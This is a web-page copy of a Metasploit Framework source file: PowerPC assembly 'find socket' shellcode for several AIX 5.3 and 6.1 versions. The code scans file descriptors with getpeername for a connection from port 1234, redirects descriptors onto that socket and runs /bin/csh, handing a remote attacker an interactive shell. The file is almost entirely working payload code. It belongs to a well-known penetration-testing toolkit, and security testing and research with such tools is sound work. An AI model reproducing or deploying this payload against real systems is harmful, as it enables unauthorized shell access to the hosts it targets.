CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-fndsockcode.S
Views: 11766
1
/*
2
* aix-power-fndsockcode.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
#include "aix-power.h"
36
37
.globl .main
38
.csect .text[PR]
39
40
.main:
41
42
syscallcode:
43
xor. %r31,%r31,%r31
44
bnel syscallcode
45
mflr %r30
46
cal %r30,511(%r30)
47
cal %r30,-511+28(%r30)
48
mtctr %r30
49
bctr
50
crorc %cr6,%cr6,%cr6
51
.long 0x44ffff02
52
cal %r30,-8(%r30)
53
54
fndsockcode:
55
lil %r29,__CAL
56
57
# getpeername
58
59
stu %r31,-4(%r1)
60
mr %r28,%r1
61
cal %r27,-__CAL+44(%r29)
62
stu %r27,-4(%r1)
63
mr %r27,%r1
64
65
0:
66
cal %r31,511(%r31)
67
cal %r31,-511+1(%r31)
68
69
mr %r5,%r27
70
mr %r4,%r28
71
mr %r3,%r31
72
cal %r2,__NC_getpeername(%r29)
73
mtctr %r30
74
bctrl
75
76
cal %r26,511(%r28)
77
lhz %r26,-511+2(%r26)
78
79
cmpli 0,%r26,1234
80
bne 0b
81
82
# close
83
84
cal %r25,-__CAL+2(%r29)
85
86
1:
87
mr %r3,%r25
88
cal %r2,__NC_close(%r29)
89
mtctr %r30
90
bctrl
91
92
# kfcntl
93
94
mr %r5,%r25
95
xor %r4,%r4,%r4
96
mr %r3,%r31
97
cal %r2,__NC_kfcntl(%r29)
98
mtctr %r30
99
bctrl
100
101
ai. %r25,%r25,-1
102
bge 1b
103
104
shellcode:
105
# lil %r29,__CAL
106
xor. %r5,%r5,%r5
107
bnel shellcode
108
# mflr %r30
109
# cal %r30,511(%r30)
110
# cal %r3,-511+40(%r30)
111
# stb %r5,-511+48(%r30)
112
mflr %r24
113
cal %r24,511(%r24)
114
cal %r3,-511+40(%r24)
115
stb %r5,-511+48(%r24)
116
stu %r5,-4(%r1)
117
stu %r3,-4(%r1)
118
mr %r4,%r1
119
cal %r2,__NC_execve(%r29)
120
# crorc %cr6,%cr6,%cr6
121
# .long 0x44ffff02
122
mtctr %r30
123
bctrl
124
.asciz "/bin/csh"
125
126
127